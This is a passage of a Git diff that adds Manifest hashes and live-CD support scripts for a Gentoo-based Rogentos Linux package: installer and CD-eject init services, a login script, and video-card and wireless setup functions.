+AUX 1.0/rogentos-functions.sh 7146 SHA256 1d736b09c387806c969371a041ed33f388330e0c95d822ee64fe0b9e6bb513f6 SHA512 1a4a0ab6866dda84e3ffc497134bff5e11f7a308657df04ed3d9650fbc85b23186332232a530d8f3105e008da787b3288c68c0e86efcedd813d6a73ea7d18311 WHIRLPOOL 7b73262ae027bc420ac480b6d7d75b83ac11ecc0c9be92157a3e1588169768c7fcd166fecd4edb6785bd8893fdbd3839abc7b6090154e0414096aa3280deec2d
+AUX 1.0/rogentos-welcome-loader 291 SHA256 4e4769a0cb0ad3f48f561b0eb82b05214da9d640da170a9c7cd3531051622ca6 SHA512 e015913d25ee59f5f54e4111aa800f6ab1a6a0ba12c3c544d0e1760627820bfde321bea8a2a068fa87dc0c186dcb4a8f2c2b2cce78d2ca1a28276c57d06ed248 WHIRLPOOL f80b071df812f5a6411debf704ded0f7681d15823549c658acb1b250085a6c1778c5054296951eddf537d8bef7c13c51292bec9145f9d663b41116d444f9a3fd
+AUX 1.0/rogentos-welcome-loader.desktop 162 SHA256 37cc2ff95764baa148a68f6669be56bd9d6fa6bc805242dcfa8e0fd8d49a44d0 SHA512 21befa3f740a0bddc66e5afb77b3a41dbfcacaefc06e768d8ee272324d6968a66de6155bc5f05d2e788b1df12c424f665041b5315f0aedc12b3dead92ed5fbe3 WHIRLPOOL 2c82ae08b5b6fb290f8f7138aa5f2d29f3c523cc783e07ac8fccd112a1e94a02b393b6f1e83c87e5d9af83cfb9d3c79ff7517dc5a8cce05d438e5b6cbf6722b7
+AUX 1.0/rogentoslive 5493 SHA256 73e8c807293eccc37dc8dedc9c4523ed30c9396416c31c283462e604d8b99a31 SHA512 1da7452ce02839bc5afe831ebfe54a9657244315fa6468020ffd6e0b0a20813045aaa211fc94fb46ab94fc3e69ffa4759f052d41e17a77d0fba7fa262656af0b WHIRLPOOL b2c7000d3614da10d778837faa1938987a957f290827458b3527f847bfba26a5593cb75a572fd265453c26f62ce261ae689f1a235c0228fcf8d5d90c3df93cf0
+AUX 1.0/sabayon-live-check 1018 SHA256 224e7016eb24f96a9260fa38b80bc61b5e1b60f5d76ba076ccd81c4465a1a63d SHA512 e3398f2f42a34405c7584aad03c4b41cbc901f7f1a71e67af5ef402cb8586a8b7d316f72f2d4d5d98516fe2e3dc2a4a515faa245be172ddc8576b1f487101555 WHIRLPOOL e882b714c47c8a4b12e87998b790e237544694d5f4493fef725dc14ff8cfccc67480e8d5cf00a5e5b097324b7de0b837553291eb29efa7d49f495001ffe96d41
+AUX 1.0/sabutil 20352 SHA256 da5df349c68234b4d703420d6c130c0cd489de2ad5751b5a9727e839b528a7bf SHA512 03c2b45b691a70f1110c411f933d0cb626c3ae1dbf61a18de4c1ff825e0b2ea540dd4f35475d7890104c863eb1bec49e7334b85ceb0c7b82f57974955e7a89c3 WHIRLPOOL 0d2fe8931dd42322f2cf1873f12984543efd81c8baa60a830648e472ac6fbf5ffea0260d9e620dfbeb7fc91d348f9314fbd7612d001679d09bfe6410cfd1be1b
+AUX 1.0/vga-cmd-parser 1382 SHA256 9b4faeac836b52a0a6550a48babeed40c00ea2cad7674bb1ad037c04791a7ebc SHA512 ce00d59bdd5eb53c870df920bebe4a2925f711751a9fe95cd901089472097c9808bdf321ab6d1a0cc2e0cc3582a9180d3d7d3a1f86f881137f41bdd6fc0ae02e WHIRLPOOL b5f2587adf15f1151c51839e970edfd219fb82d3cbbd1c14410bb4ba6521fc08b6cefaaa44f80cba66a2ac310c650a95b8dcfc484c0bbd15271f3147038f36c4
+AUX 1.0/x-setup-configuration 2144 SHA256 b0570bd3845b83d8814b83d520e0c51c54b2847106a89f007c84314caf8c9521 SHA512 096e8e81d25a7fbab914a6348be92e1f017981417f0592e769b32917818c01300e02dc22c9feff900c2f1374022b49beb770f7a8f6c90f53313c594cee638cd0 WHIRLPOOL 9b927be2b35edc295322c1f2da6a3c64b9ece0a458fe2021d0e02acd61ec08fcfdd7f28f545370684eafe13d9e4bbbb50b59149280421adb934e22678502ad9e
+AUX 1.0/x-setup-init.d 2407 SHA256 3499686dd51db7528beeca037b6107e8865ab06666b9a46003081ea77f1b2a55 SHA512 f2fe60cd51676c36bf2167186cecb85f7704b3f04b01ce5072c5567f386b3bf5434057b29cf0a6ecdce1e30437b93b04142b34abe77279e623f9969069c6d9e3 WHIRLPOOL aee8a9d2ea276709ca077a9b48f944529161cd8c4c83c7b2138f17d30e907d0f50befc02c10896c6842b4d89883b7150dd1d6f3b6717633f7063a9fa53cf66e6
+AUX 1.0/xorg.conf.d/90-fglrx-12.1-and-older-workaround.conf 113 SHA256 6c273df0f9ab78ab371fac0ef6da9afc802f607eba099defe8ac165e86b89c53 SHA512 36992843d2618128f83e390d49b9b68ccbfcce3701d36cd1ea137d20b1815b58f34f8aab9a47bbbab15489a672050a854097b87b4df42c011ec79cec2d63f3d5 WHIRLPOOL 734d97fa61f4486f1e21010184777f4275b21aeb466fe9c04eda1a4bdf695883e9a77ce5cf289a3a5008c349e2bd362afb395817fdc205cad30fad3a0b56dbf0
+AUX 1.0/xorg.conf.d/90-synaptics.conf 1524 SHA256 97e451a157b38aa718bcb22afb1b5d4ee308937f544653341b856bf8d6791e94 SHA512 c668e6c095d8a0b85f2747cd93abb36a37f1aea95548658aaf3c7db899b516161264ab3feef8e7b4dbff5287496d7883dbe23e2d430a4f9ad73ef4f51615573f WHIRLPOOL 2de3cab6a99223572e4eac784094d93fb1acb8b930e3edad50e276f1b6b9f113e002320dd9485ac77c7e82eee82930b97070b74996cc74c07b8463a2eb887eb6
+AUX 1.0/xorg.conf.rogentos 2194 SHA256 f303a9f2ad64b71c5707548437fed3f556cb25617624891c8b71899988a7d22d SHA512 c90f10395a35d45a422ada932fcfcba8acd3ed6d41560fde57790ed4fe2c471a356abe2ba0e074a6c3ff9a8a4fd452663370f0b583474ff863c112522ef8b4c1 WHIRLPOOL 4cc46973f49a894e11b4ebfa7bc89d7c3875e09897cde2d829142ee0531efd68514c35ed32056845eff5f907285c013bd1c120c3ac236b0a912e7b59a8f7643b
+AUX 2/bashlogin 116 SHA256 9385b60eb67e44d36e7806968df3af7dadd57e7e2a392ba4e3b588e51e8fc29d SHA512 c37c20a53896da635a2bf7888e2e0d88f712c1f8cc683dc37cf6f33ba98e0f08d2635eb2448f89376d9699a28e6b63550b0638761b68423291fad913064aa488 WHIRLPOOL 43ac0a64e87f6edd58ec06595986f540b9edbc204eecdf895951b31eb3bc297fdef4c873e5df5cc064311ce166bb49e0776fdc3879cf65e69897c477d78e7cf2
+AUX 2/cdeject 142 SHA256 680d0b8526e098871e44e32afbc91b1296e9eddef38663f1246ee855e906002f SHA512 1b4364c12ae5ecb57d2881d714d293a51705b4ff323d9e6825a78968f108cb72978ff64f3aa30f9575bd96e86f8c09c71d9a6c68aad370d1996c719e5d486930 WHIRLPOOL 5ca2b9d190b56433d1898de158b411e2179c1aa2c5edd9725122f372ab0e5b8ac7428b7d641e91b257bf03f2d75a09ca9171eca185e4d56225b30fec1365b091
+AUX 2/cdeject.service 240 SHA256 acb5048e5f6430f494f05504395ebebb176eb0621b672995aa5ae84035010393 SHA512 aceacdce5d923185778007e3e777ebb2be95d460771867d755e13b4339cc973fb68f92c6850637da661bc3107691a1152eba879de106fefa845fcc21b9ffe00f WHIRLPOOL b7cdcd2bf679491ea69aab440b74a5c4162993911571454014de0d6cb54c7dff251247fab03d1d6af23301a430f067d4452a07894ebf76199ca198115988d78b
+AUX 2/cdeject.sh 346 SHA256 1d82065045424902b0aef0bfa893596427f38c72cee3028e053bcd3349df052f SHA512 12c8acad2fc0ba6c9230e96859106575e510592d15fa87da1bfbeaa1cb61effb7ce4d52bc071b0837c5721138eb90c349efd40fd2ec14995a916974fac0b7664 WHIRLPOOL a522c656d50220255eaf49769be51847b154fda555c6a40770b858d0c0f934fb8f004dfb0e30ec6588ee8960cfb89408c6f382d7532bcb5cd4e0e30f02342615
+AUX 2/installer-gui 261 SHA256 5c9b60263a21dae052ed823500f1f053dd39d86e1eaf7b365cc9821e8b14608e SHA512 ba5880a5226c3cc5571cb42848fc23656e8fdcd77e84db420e7bd7d54e006e28d9ca3af6206732a6b3be165f6da0d7ce9cd7afb2aeb9215fd5d37374692d655c WHIRLPOOL cf2d260bd58d116dd793b52d1961d389605ebe0b8e4bca5291a91e87d518691e2272e1e4cd11b2d215ce205e29f42173cbd8d2e2c82489f5ac8eda2ba34203fb
+AUX 2/installer-gui.service 223 SHA256 8f71003e4894c3e1c8c235468c3f041397e3abaaa986f9579f3f395bb01cfde8 SHA512 9f7d84ddb98affba2b733da2cf9b8172d962dfe500791d93dcc25b284e31e7b76ac286535ba29c215a2e413e8fe8e3764a8ce92af97810d69f5c8e1e4a6a7d6e WHIRLPOOL ff2eb5b7a99e004f683b77367309814bf6e76a7cd7837c4d5171054c29998d2d5fdafdd614fa040870d9857a452332f10d9be4b897e2e8b15d086e08edb3f25a
+AUX 2/installer-gui.sh 136 SHA256 0007224537e1f41031b177917030626a895da0a9d7947649f6b2c7222b9b58c6 SHA512 8a44cca7870db754bded3bcfd0e947d77b7fd50af02ed559f4da93d644cb8daa9aaf2c23ef1f47377d5f35b2ce5869ec8fa7bbe93541ccbde4c2f707ccdc1232 WHIRLPOOL 74e01bb19bff13bd37809cf8d6917874d70cf1488e3c56fb8da0de21687eb318a4bd240b6b1b532d587d0b108072720b31901d91103b07351a0a4b9ea93ca979
+AUX 2/installer-text 239 SHA256 1b06f2a58317ae88349f2437f49a961ff8b98542f0bd8fe9ef1bb40e76fe2f1c SHA512 4b804bfc5ee7978b85b37c0128d7a534236c08c62f19f52842143eb15b1ab83d0826c4a5951549580359cb53b60efc156eda43d89a15e9fcc06fe19f23b0ab50 WHIRLPOOL 29e1dac6c7e430f266fc226a178e5d6c3e803c79dd036d05dd6df2e9eb56f9296e18c2fb37808715dcfd092f5bc5792431151cebbec7f88d453754179116d6a8
+AUX 2/installer-text.service 199 SHA256 099d53635338c99a7c6c1596125517e3b8a21696a320b01814659e6b07f0858b SHA512 5acac7e4632998e2aeccba0504231efc30c4e45dd09e36080cae5644d204a24091e440b1d149a9e0da596f0a91484126b0dea583c2c858cc669e1c2d4d1879fb WHIRLPOOL 3a97c7cfba0b497376e303806ab04f6c0ed6ac7195f958a011d7c975f6250e8800be65a21fe9ca8e2dfd817affe3eaeb11ee4f7a5278d9325c7f3572fe2399ff
+AUX 2/installer-text.sh 112 SHA256 d070ad9ac9029804eab3964311004a46a28c4b6b8e228923ee24de211e3ddc77 SHA512 d2fa1e856bcf42c7337137231c57aea64a4e3721c3ea72bf4d385749acaf075ba82fba5aea2a1e2f4a92bb20c8c0cc69942f83b3f5d649dbdd1a705ff6243d37 WHIRLPOOL 8737b11b6d54ec891c52bcbbc047ee0007726926524c206bdc2354320d0b97fe007ddc383585266759c610f333d7e831340b731e77fc200238b9bfd093810256
+AUX 2/livecd-functions.sh 17462 SHA256 27b8d53bd2727807e846446842e2f669e21c9169b894b3cdfb2a38ac27cc54f0 SHA512 64e3753e355cf7f9daf2b8b97436d1bad6ed493d7c948e40aadb2733632e124ccabfa41572587bc9c09a62b56cf19f07bc683c1c8bbf20c680b7da38f82855c6 WHIRLPOOL 5e94b1da4ef19fe126a7a5d6e05f9c1ea3a98e4925c34402fc359d0df6c547c9103868ab612fe2262d11bec209a39af75d41e80e441d2c52c81306a0eefa470c
+AUX 2/livespawn 193 SHA256 256c51d66e8bcaa82e9a52ebf70fe947000dc43c2d9df0c73d045f624e615cbe SHA512 9e4d2f929c473560f47e86721be6bc65336a2adcc83a034ae945b1c5e2db21a215042b4d31a9b6b1865d40a12c92aa349df37149a4a48ec6c47680d584a65c3e WHIRLPOOL 291de20dab535565287f1b712f3be01cd67e262df71dde74d33f45fbc25a74116f372c09ad73cef1f94be8fd80dd4486d59ca41d3b5eb364dfd05f8e361de63b
+AUX 2/logscript.sh 3556 SHA256 4d122503b5e31d387668d754662cc546a86f9fc2c1493beda73c6110e24061b6 SHA512 9dbb81daafdf085bb36b5c8b5991868ddf1951080dd56217b8ffaeebaed94ff4072136de2d0e0b42fde35daf0845fa541b0b7090830a5e69f94a5f36b988b206 WHIRLPOOL e6c871f46089acb3070fa4194c98a38a0c6ad314e083bdcde795aeecb0f5b58b8ac05a56500fd23bf21da07744690692375118815ec2dc95f2f42160cec5e9af
+AUX 2/net-setup 1529 SHA256 41f5fdf35752837e69e958b7082339146c2c8e2e3470add2cd2eab4092d50d9a SHA512 22e394897b1bcfdb8ec9fba841316a14b235f22e61571e5731928eb6751b44a44d7cb2cc24c60c5f88b5216902933ffeceeb5b87ae358a91cd1a3a6368bbff76 WHIRLPOOL 2b2f366e4a93ebe0abb16f984efb296fc6e92ba1cd9c07309b683787ce65ca5bef3572454e5e955aaaf2786366a385a9b500f0645ac9d896aca6f700429bfb01
+AUX 2/rogentos-functions.sh 7986 SHA256 ff791f88fd2df3d9eb1727d5e9517a212b7a41e7b8656f2280642ceb3f33213a SHA512 cf171c4eb0b8b6fe985756e4b829b4a2161d451041530407ad39e6eeb2b4de0e4741aa6f600ab49e408d9e2c366522d53d040c4c0d7fce3fce5a66bc27745e7a WHIRLPOOL af4a143b7e393fbd32092716121f782f7b6eeb3eb7ba505fb410b76524af7258ea9ea759f243225a662a87b92d0bfcbafa5e739fc132b55baf4e92bdc8f82cdd
+AUX 2/rogentos-live-check 1051 SHA256 bdcaf1d3824bcb3ad9011ef751483516fcbee5f78e3e80060ca32e6f17c89e5d SHA512 c2394e52d2bd0b3b5a3716c7b0d2abfa379a45d1e65c7d9b213c2c7915c7bd83f01544330dbfae416fadd6d66cc220b36f29bf19680f6473dad9dd4e80877cb4 WHIRLPOOL d497b666f46ab85037839d6624ad841efe9eb9afb201e21406d260d23a90dd80cfb1f8b0555279f2acf4b210b1bb273ff8672fc94e86778b29cc57fd6ef2463f
+AUX 2/rogentos-welcome-loader 293 SHA256 e48a5c25bbb2d40f1ab5716afaef4e24ee78eb7551deeb49f84d64dee65de7f4 SHA512 831b9fc9c883f7608fe7f11c611be4f23adf05b2d02ade8571dc6fcee851c682fa743499124a1f8efb4a7b2d0b7792b753a9adccc08dc746ed308f5ed50b7ebc WHIRLPOOL 788f8a25dd6f3f4c2bee6889296878a67d3e9e33c27008f27883874f7d55397cf6b56de4faa150eaabbde8593b8b5345341d998c82a8e3ac4cba5a40bfd7e938
+AUX 2/rogentos-welcome-loader.desktop 164 SHA256 9eacbce2aea378cad43daf2daf438df142b22c3f2887f9924d144ba182d45991 SHA512 4435663429aef3f03905c88e075f1123e3dbd90f6d33de8d4d66a6d5eaf1c061ed96f89691e853c5474f28aa5a8b5ec7e05601433b6a8c9732154ad7df140f53 WHIRLPOOL b010d529dadc7c77b39cdc8b33c7c7d59f3f2dfeac4322ea5117232710ab10d44d4e6651de8245772c49a1b1c5d1f1beb34df27567eae61a5d1aac6363832f4f
+AUX 2/rogentoslive 243 SHA256 a0ed9791744a6095bd2dc7949c0bafaeec311061f8e1d009fec9db8828bc6321 SHA512 52e7cb876d1cf94a4a9ce72e3669580352d24772c49d8b6e0148f734522aea9ba8272357c4d731f2e00eea52013ee5cc4b8af2cd29e4eaa7c8286f2f67e1247f WHIRLPOOL cf80c21092636b0d7b9f814a7be160e534cd3052eda2330e97366c8267fe260cc549699ef209c3344f4efe3bbff8748a9a8e78d44ce7883ad1a034cd811b86a7
+AUX 2/rogentoslive.service 211 SHA256 9ef54dd32b349dd6e4b1044c0a763aa8ddf11026ff5b4b94cf814345af15ec2d SHA512 504184fc5a74f8e43d4b7056c32287c2a44115dd7cc1316be59c924ddbbab7e4f8e549cf7fdd50634b68ee8ecfe1b2fea5343ca96f51247f8f0e105a6ac5b4f1 WHIRLPOOL 1f5c1bb91cc6a4e47b0c726b17198fa7dc5dcb2add550bfba7d1aa158abd7c9a406398d128441eefee0736ede090abdb5a92c728ca8a2f08b07e4131490c91c4
+AUX 2/rogentoslive.sh 5515 SHA256 c2009b1628e47434becbec2945e84c76f917397397e376bbf5936404c08ef70d SHA512 19cceb09bac5b7864308707aafd059f8104625d661afa66b990c0f58ff26c0e381197d80ce31fd070eda3cca4934efb696f851ca8086fb83119351c767a0af05 WHIRLPOOL a7f5cc0c51a796c3ccad26332a4094cb55dcf86f493cdc54542aad7a96717e70d119ecf99513bd1d9842a7b211c97c4707b058353aff57550986b265205b5f79
+AUX 2/sabutil 20355 SHA256 d33607d498088fddc7272a7be598514bc598563fb4482bde014821939f5a1887 SHA512 013739d2726f7a3c0f85bfdda494d83d01a06234695dabafe4c7e8e892b4d282b9148be4a5b7ce3cf3805b52fa424102422a0fb33faae7993d68a32e34a3a8f3 WHIRLPOOL 7ac0c36cb4b5ea10eb27adbf5176042d9eca8b38ab2c999da97654b090f00e6e020f2658495b5c60195ae48eaccb76e7bfbb6ec9cc2ec775061480cbfda54a72
+AUX 2/vga-cmd-parser 1382 SHA256 9b4faeac836b52a0a6550a48babeed40c00ea2cad7674bb1ad037c04791a7ebc SHA512 ce00d59bdd5eb53c870df920bebe4a2925f711751a9fe95cd901089472097c9808bdf321ab6d1a0cc2e0cc3582a9180d3d7d3a1f86f881137f41bdd6fc0ae02e WHIRLPOOL b5f2587adf15f1151c51839e970edfd219fb82d3cbbd1c14410bb4ba6521fc08b6cefaaa44f80cba66a2ac310c650a95b8dcfc484c0bbd15271f3147038f36c4
+AUX 2/x-setup-configuration 1717 SHA256 292cdcd86d1fe3e1b47096139ad5f0a5f085de3478f047ae5c0f276e2b1152da SHA512 96643da3683d8fc7d50486f87ad6f82c01d694741b51d72da4ea8f4b31b210706b4990746cde280cb5a05fc3e8b2f0a2687db19205a8e3ffe7fd890296fa7b36 WHIRLPOOL bca657f0f936c44892fef83fab84f919381112e486b5d4b720f3f0f99b532dc1562553cf8cd6eed0db15208746d115127c9e8bc8b49d05d5d68d46a22ab7ddd5
+AUX 2/x-setup-init.d 547 SHA256 a170da2c5f8b5608bb9a18d201cf1bedf65c9961232bb04efb0aa46fa9fb1513 SHA512 ab4bccf657f49de516aa23cd3001f2fefeee77141e81dc54eaa7fc36f9075776c84ea8bae85c208f23646ddde887fe05fabbf5cd00099d1d1914481f141cd3fb WHIRLPOOL 83b8ce706316f711940a4fd16842e1d6d0f670752aabaf09dab1ba5f0247e27f9202be7584355e75a56dc29706c6bfadb25b14c2ae4cda258f5fe3ddccd55d47
+AUX 2/x-setup.service 279 SHA256 0bbb45092660c514fda350d81eabbf549dddf888b27cd3c57d0a972cca6f6f92 SHA512 14dbf061e64afd1730b73fbfd5dff0dce3d864375a4e2150f78cfe7f6677b6f878f50c1bc85b69ce837d36fe580db3f05e678f04ee48ce76b93cc1871e3581f6 WHIRLPOOL 218b52661c0eaf945f88d6489164349284f3cbc3a3313bf141249f4566c3b87370fb460e5933afb5479f7dd6480da4ff7fc828c443f425eac099e9324927b42f
+AUX 2/x-setup.sh 1507 SHA256 6b7ff801e183d49a44bfdbb682f094d5d4ef65904afc22ecc192c40aa8a98913 SHA512 db8362e947ddb485b1a2e3b4ae1b4e122a5894992a3380f89488a1f8160d809916aad690e36c00624ae8c5c4e56ce2899871f9aa771d4f1d52c488a39cd05b58 WHIRLPOOL de2fc6f0147d81cd847f299342912342d4cec87118fbc99e790d31ef1e337ed76b8d28c612bd90f5260d8e776203674a07fe030520b0e9ba57201a9cc8f5f976
+EBUILD rogentoslive-tools-1.0-r1.ebuild 2136 SHA256 fda7dd4907a8354dde4fb88a39bac992137be4408d9a5c54f32c9d05fb4db0f7 SHA512 c9d79a18eefd4373324595ee6cb61a82d094a411b8928c56ec9b1f8ff06e9165a0e871d9454657fbd081d7a395cea591b1e58a9f7bf386e7644570e7dd23f706 WHIRLPOOL f466122940a523a63103d7933c035e9c3b3d40b107721118fcefba7d0efc0b316a0f39890e0beb556d4aa7414efdfcb9676765d9b4b70ae7e4b2c30cb3a4f1fd
+EBUILD rogentoslive-tools-2.ebuild 1662 SHA256 e5b7b22e5f1588be925f9d373c67ebe656ab8a4abb2fdad2e0c4fa8b5f585f9d SHA512 417ae22eb337aaeef1dc8f4db942eeb55e973b34b8201de6ef6fe436faee46d3a3e3cf0d4eeee9b33c8eeb48a1366be8f32180bf741ba8d143168d09a5e40995 WHIRLPOOL 64c4574d160eeb360d47072d1b84578fea4d66c41e1af0aaac33d85174a08957755d0cad36b4d6a10b68d0bc912746ffe7c6efba51fe4c6ac863b7919c1bc204
diff --git a/app-misc/rogentoslive-tools/files/1.0/bashlogin b/app-misc/rogentoslive-tools/files/1.0/bashlogin
new file mode 100755
index 00000000..34689189
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/1.0/bashlogin
@@ -0,0 +1,6 @@
+#!/bin/bash
+
+cat /etc/motd 2>/dev/null
+cd /root
+[[ -e .bash_profile ]] && source .bash_profile
+exec -l /bin/bash -i
diff --git a/app-misc/rogentoslive-tools/files/1.0/cdeject b/app-misc/rogentoslive-tools/files/1.0/cdeject
new file mode 100644
index 00000000..6d56f043
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/1.0/cdeject
@@ -0,0 +1,23 @@
+#!/sbin/runscript
+# Copyright (c) 2010 Fabio Erculiani <lxnay@sabayon.org>
+# All rights reserved. Released under the 2-clause BSD license.
+
+description="Eject LiveCD/DVD at live system shutdown/reboot"
+
+depend()
+{
+	after *
+}
+
+start()
+{
+	is_live=$(cat /proc/cmdline | grep cdroot)
+	if [ -n "${is_live}" ]; then
+		cdrom_dev=$(cat /proc/mounts | grep " /mnt/cdrom " | cut -d" " -f 1)
+		# check if /mnt/cdrom device is a cdrom device
+		if [ "${cdrom_dev}" = /dev/sr* ] || [ "${cdrom_dev}" = /dev/cdrom* ]; then
+			eject -mp "${cdrom_dev}" &> /dev/null
+		fi
+	fi
+	eend 0
+}
diff --git a/app-misc/rogentoslive-tools/files/1.0/installer-gui b/app-misc/rogentoslive-tools/files/1.0/installer-gui
new file mode 100755
index 00000000..d8fd3dc0
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/1.0/installer-gui
@@ -0,0 +1,26 @@
+#!/sbin/runscript
+# Copyright 2006 Sabayon Linux
+# Distributed under the terms of the GNU General Public License v2
+
+depend() {
+    before xdm      
+    after rogentos
+    need dbus
+}
+
+start() {
+
+	source /sbin/rogentos-functions.sh
+
+        if sabayon_is_gui_install; then
+                ebegin "Rogentos Linux GUI Installer service"
+		# Enable autologin
+		sabayon_setup_autologin
+		# Setup GUI installer
+		sabayon_setup_gui_installer
+		eend 0
+	fi
+
+	return 0
+
+}
diff --git a/app-misc/rogentoslive-tools/files/1.0/installer-text b/app-misc/rogentoslive-tools/files/1.0/installer-text
new file mode 100755
index 00000000..ce431e53
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/1.0/installer-text
@@ -0,0 +1,21 @@
+#!/sbin/runscript
+# Copyright 2006 Sabayon Linux
+# Distributed under the terms of the GNU General Public License v2
+
+depend() {
+    after *      
+}
+
+start() {
+
+	source /sbin/rogentos-functions.sh
+
+	if sabayon_is_text_install; then
+                ebegin "Rogentos Linux Text Installer service"
+	        eend 0
+		sabayon_setup_text_installer
+	fi
+
+
+
+}
diff --git a/app-misc/rogentoslive-tools/files/1.0/livecd-functions.sh b/app-misc/rogentoslive-tools/files/1.0/livecd-functions.sh
new file mode 100755
index 00000000..b65a5f80
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/1.0/livecd-functions.sh
@@ -0,0 +1,634 @@
+#!/bin/bash
+
+# Global Variables:
+#    CDBOOT                  -- is booting off CD
+#    LIVECD_CONSOLE          -- console that is specified on commandline 
+#                            -- (ttyS0, etc) Only defined if passed to kernel
+#    LIVECD_CONSOLE_BAUD     -- console baudrate specified
+#    LIVECD_CONSOLE_PARITY   -- console parity specified
+#    LIVECD_CONSOLE_DATABITS -- console databits specified
+
+[[ ${RC_GOT_FUNCTIONS} != "yes" ]] && \
+	[[ -e /etc/init.d/functions.sh ]] && \
+	source /etc/init.d/functions.sh
+
+# emulating einfo since it's not always available from functions.sh
+# FIXME: fix functions.sh
+einfo() {
+	[[ -x "/lib/rc/bin/einfo" ]] && /lib/rc/bin/einfo "${1}"\
+		|| echo "* ${1}"
+}
+
+livecd_parse_opt() {
+	case "$1" in
+		*\=*)
+			echo "$1" | cut -f2 -d=
+		;;
+	esac
+}
+
+livecd_check_root() {
+	if [ "$(whoami)" != "root" ]
+	then
+		echo "ERROR: must be root to continue"
+		return 1
+	fi
+}
+
+livecd_get_cmdline() {
+	echo "0" > /proc/sys/kernel/printk
+	CMDLINE=$(cat /proc/cmdline)
+	export CMDLINE
+}
+
+no_gl() {
+#	einfo "If you have a card that you know is supported by either the ATI or"
+#	einfo "NVIDIA binary drivers, please file a bug with the output of lspci"
+#	einfo "on http://bugs.gentoo.org so we can resolve this."
+	GLTYPE=xorg-x11
+}
+
+ati_gl() {
+	einfo "ATI card detected."
+	if [ -e /usr/lib/xorg/modules/drivers/fglrx_drv.so ] \
+	|| [ -e /usr/lib/modules/drivers/fglrx_drv.so ]
+	then
+		GLTYPE=ati
+	else
+		GLTYPE=xorg-x11
+	fi
+}
+
+nv_gl() {
+	einfo "NVIDIA card detected."
+	if [ -e /usr/lib/xorg/modules/drivers/nvidia_drv.so ] \
+	|| [ -e /usr/lib/modules/drivers/nvidia_drv.so ]
+	then
+		GLTYPE=nvidia
+	else
+		GLTYPE=xorg-x11
+	fi
+}
+
+nv_no_gl() {
+	einfo "NVIDIA card detected."
+	echo
+	if [ -e /usr/lib/xorg/modules/drivers/nvidia_drv.so ] \
+	|| [ -e /usr/lib/modules/drivers/nvidia_drv.so ]
+	then
+		einfo "This card is not supported by the latest version of the NVIDIA"
+		einfo "binary drivers.  Switching to the X server's driver instead."
+	fi
+	GLTYPE=xorg-x11
+	sed -i 's/nvidia/nv/' /etc/X11/xorg.conf
+}
+
+get_video_cards() {
+	[ -x /sbin/lspci ] && VIDEO_CARDS="$(/sbin/lspci | grep ' VGA ')"
+	[ -x /usr/sbin/lspci ] && VIDEO_CARDS="$(/usr/sbin/lspci | grep ' VGA ')"
+	#NUM_CARDS="$(echo ${VIDEO_CARDS} | wc -l)"
+	#if [ ${NUM_CARDS} -eq 1 ] # Disabled to support NVIDIA SLI devices
+	#then
+		NVIDIA=$(echo ${VIDEO_CARDS} | grep -i "nVidia Corporation")
+		ATI=$(echo ${VIDEO_CARDS} | grep -i "ATI Technologies")
+		if [ -n "${NVIDIA}" ]
+		then
+			# Always set NVIDIA OpenGL, since it's stupid doing the contrary because:
+			# there's no X.Org free driver that supports OpenGL through MESA
+			nv_gl
+		elif [ -n "${ATI}" ]
+		then
+			ATI_CARD=$(echo ${ATI} | awk 'BEGIN {RS=" "} /(R|RV|RS|M)[0-9]+/ {print $1}')
+			if [ $(echo ${ATI_CARD} | grep S) ]
+			then
+				ATI_CARD_OUT=$(echo ${ATI_CARD} | cut -dS -f2)
+			elif [ $(echo ${ATI_CARD} | grep V) ]
+			then
+				ATI_CARD_OUT=$(echo ${ATI_CARD} | cut -dV -f2)
+			elif [ $(echo ${ATI_CARD} | grep M)  ]
+			then
+				# ATI Technologies Inc. M52 [ ATI Mobility Radeon X1300 ]
+				ATI_CARD_OUT=$(echo ${ATI_CARD} | cut -dM -f2)
+			else
+				ATI_CARD_OUT=$(echo ${ATI_CARD} | cut -dR -f2)
+			fi
+
+			if [ -n "${ATI_CARD_OUT}" ] && [ ${ATI_CARD_OUT} -ge 300 ]
+			then
+				ati_gl
+			elif [ -n "${ATI_CARD_OUT}" ] && [ -n "`echo ${ATI_CARD} | grep M`" ]
+			then
+				# this is an ATI Mxx card
+				ati_gl
+			# >8.29.6 does not support R200 anymore
+			elif [ -n "${ATI_CARD_OUT}" ] && [ ${ATI_CARD_OUT} -ge 200 ]
+			then
+				no_gl
+			else
+				# set ATI OpenGL anyway
+				ati_gl
+			fi
+		else
+			no_gl
+		fi
+	#fi
+}
+
+livecd_config_wireless() {
+	cd /tmp/setup.opts
+	[ -x /usr/sbin/iwconfig ] && iwconfig=/usr/sbin/iwconfig
+	[ -x /sbin/iwconfig ] && iwconfig=/sbin/iwconfig
+	dialog --title "SSID" --inputbox "Please enter your SSID, or leave blank for selecting the nearest open network" 20 50 2> ${iface}.SSID
+	SSID=$(tail -n 1 ${iface}.SSID)
+	if [ -n "${SSID}" ]
+	then
+		dialog --title "WEP (Part 1)" --menu "Does your network use encryption?" 20 60 7 1 "Yes" 2 "No" 2> ${iface}.WEP
+		WEP=$(tail -n 1 ${iface}.WEP)
+		case ${WEP} in
+			1)
+				dialog --title "WEP (Part 2)" --menu "Are you entering your WEP key in HEX or ASCII?" 20 60 7 1 "HEX" 2 "ASCII" 2> ${iface}.WEPTYPE
+				WEP_TYPE=$(tail -n 1 ${iface}.WEPTYPE)
+				case ${WEP_TYPE} in
+					1)
+						dialog --title "WEP (Part 3)" --inputbox "Please enter your WEP key in the form of XXXX-XXXX-XX for 64-bit or XXXX-XXXX-XXXX-XXXX-XXXX-XXXX-XX for 128-bit" 20 50 2> ${iface}.WEPKEY
+						WEP_KEY=$(tail -n 1 ${iface}.WEPKEY)
+						if [ -n "${WEP_KEY}" ]
+						then
+							${iwconfig} ${iface} essid "${SSID}"
+							${iwconfig} ${iface} key "${WEP_KEY}"
+						fi
+					;;
+					2)
+						dialog --title "WEP (Part 3)" --inputbox "Please enter your WEP key in ASCII form.  This should be 5 or 13 characters for either 64-bit or 128-bit encryption, repectively" 20 50 2> ${iface}.WEPKEY
+						WEP_KEY=$(tail -n 1 ${iface}.WEPKEY)
+						if [ -n "${WEP_KEY}" ]
+						then
+							${iwconfig} ${iface} essid "${SSID}"
+							${iwconfig} ${iface} key "s:${WEP_KEY}"
+						fi
+					;;
+				esac
+			;;
+			2)
